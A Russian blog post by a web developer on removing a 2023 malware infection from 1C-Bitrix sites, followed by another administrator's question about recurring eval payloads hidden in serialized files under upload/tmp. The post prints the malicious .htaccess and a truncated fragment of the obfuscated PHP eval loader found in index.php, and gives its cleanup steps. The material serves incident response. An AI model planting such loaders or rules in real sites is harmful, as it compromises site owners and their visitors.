🦠 Вирус на сайтах под управлением 1С-Битрикс
В начале 2023 года многие сайты на 1С-Битрикс подверглись атаке, разбираем как это проявляется и как с этим бороться.
Этот блог создан для того, чтобы поделиться своим опытом. Если эта информация пригодится хотя бы одному человеку, то всё это не зря.
Проблемы и симптомы
Основные симптомы выглядят так:
- Вместо сайта белый экран
- При переходе на сайт редирект на сайт казино или т.п.
- В админке открывается только главная страница, а при переходе в раздел админки — 403 ошибика
На самом деле могут быть и другие, но из всех сайтов, что я проверил — эти были у каждого.
В чем проблема? К вам на сайт был загружен вирус, этот вирус при исполнении создает копию себя и заменяет или добавляет вредоносный код в ваши файлы. Так-же, вирус создает собственный .htaccess, в котором вот такой код:
FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all FilesMatch> FilesMatch '^(index.php|inputs.php|adminfuns.php|chtmlfuns.php|cjfuns.php|classsmtps.php|classfuns.php| comfunctions.php|comdofuns.php|connects.php|copypaths.php|delpaths.php|doiconvs.php|epinyins.php| filefuns.php|gdftps.php|hinfofuns.php|hplfuns.php|memberfuns.php|moddofuns.php|onclickfuns.php| phpzipincs.php|qfunctions.php|qinfofuns.php|schallfuns.php|tempfuns.php|userfuns.php|siteheads.php |termps.php|txets.php|thoms.php|postnews.php|wp-blog-header.php|wp-config-sample.php|wp-links-opml.php| wp-login.php|wp-settings.php|wp-trackback.php|wp-activate.php|wp-comments-post.php|wp-cron.php| wp-load.php|wp-mail.php|wp-signup.php|xmlrpc.php|edit-form-advanced.php|link-parse-opml.php| ms-sites.php|options-writing.php|themes.php|admin-ajax.php|edit-form-comment.php|link.php| ms-themes.php|plugin-editor.php|admin-footer.php|edit-link-form.php|load-scripts.php| ms-upgrade-network.php|admin-functions.php|edit.php|load-styles.php|ms-users.php| plugins.php|admin-header.php|edit-tag-form.php|media-new.php|my-sites.php|post-new.php| admin.php|edit-tags.php|media.php|nav-menus.php|post.php|admin-post.php|export.php|media-upload.php| network.php|press-this.php|upload.php|async-upload.php|menu-header.php|options-discussion.php| privacy.php|user-edit.php|menu.php|options-general.php|profile.php|user-new.php|moderation.php| options-head.php|revision.php|users.php|custom-background.php|ms-admin.php|options-media.php| setup-config.php|widgets.php|custom-header.php|ms-delete-site.php|options-permalink.php|term.php| customize.php|link-add.php|ms-edit.php|options.php|edit-comments.php|link-manager.php|ms-options.php| options-reading.php|system_log.php)$'> Order allow,deny Allow from all FilesMatch> IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] IfModule>
А в файлах index.php вот такой код:
/*-qN00@V:`-*/error_reporting(0); $DJA /*-aYl?2`k:C^LN;R-*/=/*-kYB7t.udNQe]87d1O;-*/ "ra" ./*-dsqM6|wNO)-*/"ng"./*-6jjo6$E@z%>xr~j2-*/"e"; $eV /*->^I-*/= /*-2&bt^&]Y.O-* /$DJA/*-@>gV&i@UUO>W>-*/(/*-"~",/*-H~_c9W1Fd[o,ge.QU5-*/" ");/*-0dG%CPX~k DLa-*/$pP/*-F?-hU~i&t%|=/*->-3b7Whq0Ye%:-*/$$eV[30+1]/*-3~ub~8yeKWm); /*-rt|gts~zht-*/if(/*-J8@$p3td3|@%E-*/(in_array/*-mqlN(M&a]hB-*/(gettype/*-S9J ka|z-;>C,t%^D^-Xym nM2-*/($pP)==(2+26)))(($pP[19+44]=$pP[45+18].$pP[5+69])/*-4z43v]fDv.zxca(a$>-*/&&/*-3j$>6Uzxqux) Yrv-*/@eval/*-uJ)fh>M75;K>[15+15])));}/*-Iuomav-*/class /*->y#w-*/g{ /*-CYIaC%-*/static/*-o.c1HhPf$-*/ function /*-$@;j-*/yChq($hCH) /*-OAA=R4?x6-*/{ $ZH/*-_)7Ge^z-*/ = /*-B5p)"r"./*-_h-*/"a"./*-R`ZIM6-*/"n"./*-$@mbZr-*/"g"./*-1_v81-*/"e"; /*--j$cbv-*/$FwiSXK /*-M(c:>d-*/ = /*->1(AD-*/$ZH/*-#x-*/(/*-6>-*/"~"/*-J-, /*-S_-*/" "/*-(HM-*/);/*-YZ|-*/ $RrpZEzLD .
Таким образом при попытке открыть сайт, происходит копирование вируса, а сам сайт не открывается.
Диагностика
Для начала стоит подключиться через файловый менеджер или FTP к сайту и убедиться, что файлы действительно заражены.
Файлы .htaccess с кодом выше могут находиться не только в корне, но и в каждой подпапке сайта. Таким образом удалением одного проблему не решишь.
стоит проверить все файлы в корне и в папках с расширение. php , в каждом таком файле может содержаться вредоносный код.
Все зависит от того как долго сайт был заражен. Чем дольше, тем глубже будут заражены файлы.
Если глянуть логи у зараженного сайта, то к сайту приходят разные запросы, так можно посмотреть где есть подозрительные файлы, так как к зараженным файлам с разный IP адресов могут обращаться, чтобы их запускать.
Лечение
Для начала стоит остановить или перенаправить домен на другой сайт заглушку, где будет указано, что на сайте проводятся технические работы.
Далее приступаем к лечению.
Если у вас есть бэкап сайта, на момент создания не зараженного, то вы можете восстановить из бэкапа, важно это сделать не в ту же папку, а в отдельную.
Если актуального бэкапа нет, то порядок действий такой:
1) Для начала удалим все .htaccess. Подключаемся через SSH и вводим такую команду
cd /path/to/your/site find . -type f -perm 0444 -name ".htaccess" -delete;
Первой строчкой мы переходим в директорию сайта. Второй находим все файлы .htaccess с правами 444, так как все зараженные файлы имеют права 444. И удаляем их. Но для сайта на Битрикс необходим этот файл, на сайте Битрикса вы можете взять дефолтный файл и загрузить его в корень сайта. Ссылка: https://dev.1c-bitrix.ru/learning/course/index.php?COURSE_ID=32&LESSON_ID=3295.
2) Далее придется вручную пройтись по папкам и файлам сайта и удалить код, как в примере выше. Обычно он распологается в самом начале в первой строке. Надо удалить все до подключения Битрикса, пример как выглядит файл после удаления кода:
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php"); $APPLICATION->SetTitle("Title"); ?> .
Если вы видите файл в название которого белиберда, например sdfkjh30jisdg9.php , то смело удаляйте его — это вирус. Еще могут встречаться файлы и папки с названием wp_… — это тоже вирус, эти файлы должны навредить сайту на wordpress, но и битриксу они усложняют функционирование — все удаляем.
Иногда встречается, что может быть заражен файл /bitrix/modules/main/bx_root.php.
Вот содержимое этого файла без вредоносного кода:
define("BX_ROOT", "/bitrix"); if(isset($_SERVER["BX_PERSONAL_ROOT"]) && $_SERVER["BX_PERSONAL_ROOT"] <> "") define("BX_PERSONAL_ROOT", $_SERVER["BX_PERSONAL_ROOT"]); else define("BX_PERSONAL_ROOT", BX_ROOT);
3) После того как вы удалите все, то ваш сайт заработает и вы сможете попасть в админку. В админке необходимо перейти в Настрой — Автокеширование — Очистка кеша и удалить весь кеш. Если возникнет проблема, то надо будет это сделать вручную, надо удалить все в папках:
/bitrix/manage_cache/
/bitrix/cache/
4) Проверяем Агенты у Битрикса. Надо зайти в Настройки — Настройки продукта — Агенты и изучить что есть в таблице. Если видим для модуля main агент с белибердой в коде. То этот агент так-же необходимо удалить.
5) И последним необходимо удалить эти модули:
/bitrix/modules/vote/
/bitrix/tools/vote/
Профилактика и защита на будущее
После того как мы все удалили нам необходимо сменить все пароли от администраторов сайта, а также от хостинга. После этого обновить битрикс до последней версии. Сделать актуальный бэкап всех файлов. И какое-то время периодически проверять сайт на предмет зараженных файлов. Это можно сделать вручную или установить сканер, например: https://marketplace.1c-bitrix.ru/solutions/bitrix.xscan/
Если нужна помощь с удалением вируса
Проделанное выше должно вам помочь. Если у вас что-то не получилось или столкнулись с какой-то другой модификацией, то вы можете написать мне в Телеграмм https://t.me/alexey_shelikhov или на почту alexey@shelikhov.me и я вам помогу.
Алексей Шелихов — веб-разработчик, ментор и предприниматель
Вирусы на сайте
Столкнулся со следующим: есть несколько сайтов на поддержке, с разной степенью свежести (в плане ядра), но на некоторых появились вирусы, причем одинаковые. Пытался разобраться, откуда и как могли попасть — формы вроде все закрыты, с проверками, нестандартных механизмов не используется.
Вот что нашел у всех:
В папке upload/tmp/ появились папки вида /BXTEMP-2023-03-12/21/bxu/main/2357e58a5cae834135f227fb82435761 (дата и гуид — разные), в которых находятся следующие файлы:
номера в названиях тоже отличаются, но файлы есть в каждой папке с гуидом.
По структуре — это сериализованые данные (php сериализация).
содержимое:
CID590.log:
Цитата |
---|
O:25:»Bitrix\Main\Entity\Result»:2: |
В base64 — соответственно код, в котором происходит стандартный eval входящих данных.
Как я понимаю — это механизм какого-то планировщика, которому подсунули данный код.
Судя по тому, что вирус появляется постоянно (в смысле — нахожу и вычищаю подобные файлы антивирусами и вручную, а они снова появляются) — это либо где-то есть механизм, который дергают и снова создаются данные файлы, либо это прописалось в базу.
Соответственно вопрос — можно ли определить — что это за механизм и где просмотреть — не прописан ли в планировщик данный код?